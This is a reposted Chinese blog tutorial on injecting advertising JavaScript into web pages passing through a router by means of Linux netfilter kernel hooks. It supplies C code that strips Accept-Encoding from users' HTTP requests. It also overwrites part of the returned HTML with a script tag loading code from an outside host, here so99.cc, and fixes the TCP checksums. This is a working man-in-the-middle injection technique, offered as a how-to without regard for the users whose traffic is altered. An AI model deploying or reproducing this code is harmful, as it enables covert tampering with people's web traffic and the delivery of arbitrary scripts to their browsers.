【智能路由器】基于netfilter的高效广告植入(非代理方式)

2021年6月23日 1点热度 0条评论 来源: arvik

【智能路由器】系列文章连接
http://blog.csdn.net/u012819339/article/category/5803489

广告植入最终目标

路由器子网下的设备访问外部web服务器时,其数据需要流经网关(这里就是路由啦),我们可以在路由器中设立“检查站”,对流经的数据包先“调戏”一番,如果对某个数据包“满意”,就会注入我们的js脚本。
广告植入的目标是要在网页中植入一个脚本连接,然后你可以尽情在你的脚本中发挥!

初步效果

先上几张效果图片尝尝鲜
1.例子使用了一个javascript脚本文件 ad.js 。脚本代码如下:

alert('Hello! If you see this, it means you successfully visited our ad.js!');

该测试脚本会使网页加载前弹出一个对话框,内容是 Hello! If you see this, it means you successfully visited our ad.js! ,如下:
截图1:

截图2:

2.例子使用了一个网上的脚本,其连接地址为 http://so99.cc ,可以点进去看看其内容,该脚本会在网页中加入菜单,植入效果如下:
截图1:

截图2:

截图3:

当一个脚本被成功链接进一个网页时,web前端开发人员就可在脚本中大展拳脚了!

广告植入前分析

1 在网页中植入一条脚本,可以在这个位置(head 标签后面):

<!DPCTYPE>
<html>
    <head>
        <script src="http://sc99.cc" type="text/javascript"></script>
        ...
    </head>
    <body>
    ...
    </body>
</html>

2 现在的浏览器都支持常见几种压缩格式,浏览器向web服务器发出资源请求时,会请求服务器下发压缩后的数据(节省带宽)。但我们无法对压缩过的数据进行植入,所以我们需要拦截客户端的请求数据包,并去除http报头中的Accept-Encoding字段,如图

步骤:
—>排除ARP包(即挑选ip包)
—>提取TCP数据包(http报文是架在TCP之上的)
—>检测目的端口是否是80端口数据包(https使用的是443端口,且数据加密,先不予考虑)
—>检查http的请求方式是否是GET
—>搜集http包头信息中Accept-Encoding字段,将其内容替换为空格
—>进行TCP和IP校验

3 对外部服务器返回的数据包进行筛选
步骤:
—>排除ARP包(即挑选ip包)
—>提取TCP数据包(http报文是架在TCP之上的)
—>检测源端口是否是80端口数据包(https使用的是443端口,且数据加密,先不予考虑)
—>检查http状态是否是 HTTP/1.1 200 OK
—>搜集http包头信息中Content-Type字段,判断是否是html类型
—>寻找合适的植入点(替换html文件中无关紧要的字段,http报文长度不变,这样所作的更改最少,效率也最高!)
—>数据植入,并进行TCP和IP校验

思路是替换原网页中的臃余数据。这样我们不必在Linux内核层对网络数据包重新组装,因为在netfilter上处理的数据包都是经过TCP分段或IP分片后的一个个小于1500字节的数据包,也不必更改http报文长度,只用截取http报文被TCP协议分段后的第一个分段,然后删除html文件开头一部分信息中的臃余信息,植入成我们的脚本连接即可。

如下,我复制了一个html网页的部分代码,

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

    <html xmlns="http://www.w3.org/1999/xhtml">

<head>   


    <script type="text/javascript" src="http://c.csdnimg.cn/pubfooter/js/tracking.js" charset="utf-8"></script>  

    <script type="text/javascript"> var protocol = window.location.protocol; document.write('<script type="text/javascript" src="' + protocol + '//csdnimg.cn/pubfooter/js/repoAddr2.js?v=' + Math.random() + '"></' + 'script>'); </script>

     <script id="allmobilize" charset="utf-8" src="http://a.yunshipei.com/46aae4d1e2371e4aa769798941cef698/allmobilize.min.js"></script>
 <meta http-equiv="Cache-Control" content="no-siteapp" /><link rel="alternate" media="handheld" href="#" />

    <title>【智能路由器】源码追踪路由器启动过程 - 图像、视频、算法、Linux
        - 博客频道 - CSDN.NET</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="description" content="界面XML文件:preference_setting.xml &lt;CheckBoxPreference android:key=my_wireless" />
    <script src="http://static.blog.csdn.net/scripts/jquery.js" type="text/javascript"></script>
    <script type="text/javascript" src="http://static.blog.csdn.net/scripts/ad.js?v=1.1"></script>
        <!--new top-->

        <link rel="stylesheet" href="http://static.csdn.net/public/common/toolbar/css/index.css">
        <!--new top-->

    <link rel="Stylesheet" type="text/css" href="http://static.blog.csdn.net/skin/skin-yellow/css/style.css?v=1.1" />
    <link id="RSSLink" title="RSS" type="application/rss+xml" rel="alternate" href="/u012819339/rss/list" />
    <link rel="shortcut icon" href="http://c.csdnimg.cn/public/favicon.ico" />
    <link type="text/css" rel="stylesheet" href="http://static.blog.csdn.net/scripts/SyntaxHighlighter/styles/default.css" />



</head>
<body>
...

经过分析,其中有些信息是没有多大作用的,如网页最开头的

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

完全可以写成这样:

<!DOCTYPE html>

再如:

<html xmlns="http://www.w3.org/1999/xhtml">

可以简化成这样:

<html>

再如,可以去掉下例中的meta标签:

<meta name="description" content="界面XML文件:preference_setting.xml &lt;CheckBoxPreference android:key=my_wireless" />

这些臃余信息都是一般网页所共有的内容!这就给了我们方便植入脚本的机会…

原理图:

这里我们需要对Linux中的netfilter结构有一定的了解,Linux下的netfilter框架就相当于一个大型检查站,里面存在5个监测点,专门用来检测并判决网络数据包的流向及生死:
我们在netfilter的PRE_ROUTING和POST_ROUTING挂载钩子函数,以对和我们广告植入有关的数据包进行“手术”。

源代码:

钩子函数一:请求拦截

/* 该钩子函数更改了浏览器的请求数据包,目的是让服务器返回的html数据是非压缩的 */
static unsigned int init_req(  
unsigned int hooknum,  
struct sk_buff * skb,  
const struct net_device *in,  
const struct net_device *out,  
int (*okfn) (struct sk_buff *))  
{ 
    #define URL_MAX_LEN 168
    struct sk_buff *sk = skb;
    struct iphdr *ip;  
    struct tcphdr *tcp;
    unsigned char *p_data; 
    char http_GET[URL_MAX_LEN+2]={
  0};
    int n = 0;
    uint8_t *eth;

    int len;
    union
    {
        unsigned int addr;
        unsigned char addr_ip[4];
    }ip_addr;

    if (!sk)  
        return NF_ACCEPT;  

    if(skb->protocol != htons(0x0800)) //查看是否是IP数据包(排除ARP干扰)
        return NF_ACCEPT;   

    eth = (uint8_t *)(skb->data) - 14;
    if(!eth)
    {
        printk("eth empty!\n");
        return NF_ACCEPT;
    }

    memset(&msg, 0, sizeof(MY_HOST_URL_MSG));
    memcpy(msg.mac, eth + 6, 6);    

    ip = ip_hdr(sk);  
    tcp = (struct tcphdr *)((unsigned char*)ip + ip->ihl*4);
    len = ntohs(ip->tot_len) - ip->ihl*4 - tcp->doff*4;

    if(6 == ip->protocol)      //对TCP数据进行截获,http
    {
        if(80 != ntohs(tcp->dest))
            return NF_ACCEPT;
        p_data = (char *)tcp + tcp->doff*4; //数据开头

        if(('G' == p_data[0]) && ('E' == p_data[1]))  //截获GET字段,这也是TCP分段第一段,http
        {   

            for(n = 0; n < ((len>URL_MAX_LEN)? URL_MAX_LEN:len); n++) //最多截取168个字符
            {
                http_GET[n] = p_data[n+4]; //剔除GET开头,提取url

                if(0x20 == http_GET[n]) 
                {
                    http_GET[n] = '\0';
                    if(!strnicmp("HTTP/1.1",(char *)&(p_data[n+4+1]),strlen("HTTP/1.1")))
                    {       
                        if(!exec_filter(p_data, len))
                        {
                            TCP_checksum(sk);
                            printk("change req ok!\n");
                        }
                        after_filter();
                        break;      
                    }
                    break;
                }
            } 

        } 
    }   
    return NF_ACCEPT;  
}

以上代码有3个函数未给出原型,分别是:exec_filter(p_data, len)、TCP_checksum(sk)、after_filter(),在此就不罗列代码了。
简单介绍一下:
函数exec_filter()过滤掉一些.js、.png、.jpg、.cgi、.css、.ico等文件的请求后,对剩余的http请求,更改了http报头中Accept-Encoding字段字段内容——将该字段内容替换为空格。函数主要目的是更改客户端的http请求,使服务器返回非压缩的数据!
函数TCP_checksum(sk)进行TCP校验,此处没必要进行IP校验。
函数after_filter()释放一些链表及动态申请的内存。

钩子函数二:广告植入

/* 该钩子函数对外部web服务器返回的数据包进行条件检测,符合条件的就会向html文件中植入脚本连接 */
static unsigned int emPacket(  
unsigned int hooknum,  
struct sk_buff * skb,  
const struct net_device *in,  
const struct net_device *out,  
int (*okfn) (struct sk_buff *))  
{
    struct iphdr *ip;  
    struct tcphdr *tcp;
    unsigned char *p1;

    if (!skb)  
        return NF_ACCEPT;   
    if(skb->protocol != htons(0x0800)) //查看是否是IP数据包(排除ARP干扰)
        return NF_ACCEPT;   
    ip = ip_hdr(skb);  
    tcp = (struct tcphdr *)((unsigned char*)ip + ip->ihl*4);
    p1 = (uint8_t *)((uint8_t *)tcp + tcp->doff*4);
    skb->transport_header = (uint8_t *)tcp;

    if((6 == ip->protocol) && (80 == ntohs(tcp->source)))  //对TCP数据进行截获,http
    {       
        if(('H'==p1[0]) && ('T'==p1[1]) && ('T'==p1[2]) && ('P'==p1[3]))
        {
            if(STATUS_OK == prepare_Insert(skb))
            {
                TCP_checksum(skb);
            }
            after_Insert(); 
        }
    }
    return NF_ACCEPT;
}

以上代码中函数prepare_Insert(skb)负责了几乎所有的植入前的条件检查及脚本植入动作,该函数先确认拦截的网络数据包是服务器返回html数据,搜集http报头信息,确认http报文的数据位置,检测该数据包是否具备植入条件,寻找准确的植入位置,进行植入。植入的脚本连接可以由Linux应用层程序通知内核得到(内核和用户程序通过netlink通信)。

PSTATUS prepare_Insert(struct sk_buff * skb)
{
    struct iphdr *h_ip = NULL; 
    struct tcphdr *h_tcp = NULL;
    uint8_t *p_data = NULL, *p1 = NULL;
    uint16_t data_size = 0;
    int16_t http_length = 0;
    int16_t html_head_label_pos = 0, html_meta_label_pos = 0;
    int16_t err = 0;
    uint8_t *link = url_ip;
    uint8_t *link1 = url_ip + strlen("<!DOCTYPE html><html><head>");    
    uint16_t meta_descri_len = 0;

    if (!skb)  
        return STATUS_POINTER_NULL;  
    h_ip = ip_hdr(skb);
    h_tcp = tcp_hdr(skb);

    memset(&html_req_info, 0, sizeof(html_req_info));

    data_size = skb->len - h_ip->ihl*4 - h_tcp->doff*4;
    p_data = (uint8_t *)h_tcp + h_tcp->doff*4;
    http_length = collect_http_info(p_data, data_size, &list_root);
    if(http_length < 0)
        return STATUS_ILL_CONSITION;

    if(STATUS_OK == PickUP_Content_Type_IFHTML(p_data, &list_root, &html_req_info))
    {
        err = collect_html_info(p_data + http_length, 24, data_size - http_length, &html_label_list_root);
        if( err > 0)
        {
            html_head_label_pos = html_whereis_head(&html_label_list_root);
            if(html_head_label_pos < 1)
                return STATUS_UNFOUND_ERR;

            //方案一:<!DOCTYPE...>较长,可植入
            if( html_head_label_pos > strlen(link)) 
            {
                return exec_Insert(p_data + http_length, link, html_head_label_pos+6);
            }

            //方案二:<meta name="description"...>较长,可植入
            html_meta_label_pos = collect_html_info2(p_data + http_length + html_head_label_pos + 6, data_size - http_length - html_head_label_pos - 6, &meta_descri_len);
            if(meta_descri_len > strlen(link1))
            {
                p1 = p_data + http_length + html_head_label_pos + 6 + html_meta_label_pos;
                return exec_Insert(p1, link1, meta_descri_len);
            }

            return STATUS_UNFOUND_ERR;
        }
    }   
    return STATUS_TYPE_ERR;
}

好啦,本文到此结束,作者arvik,【智能路由器】系列文章见
http://blog.csdn.net/u012819339/article/category/5803489

附上arvik当前测试用路由器

    原文作者:arvik
    原文地址: https://blog.csdn.net/u012819339/article/details/50117405
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系管理员进行删除。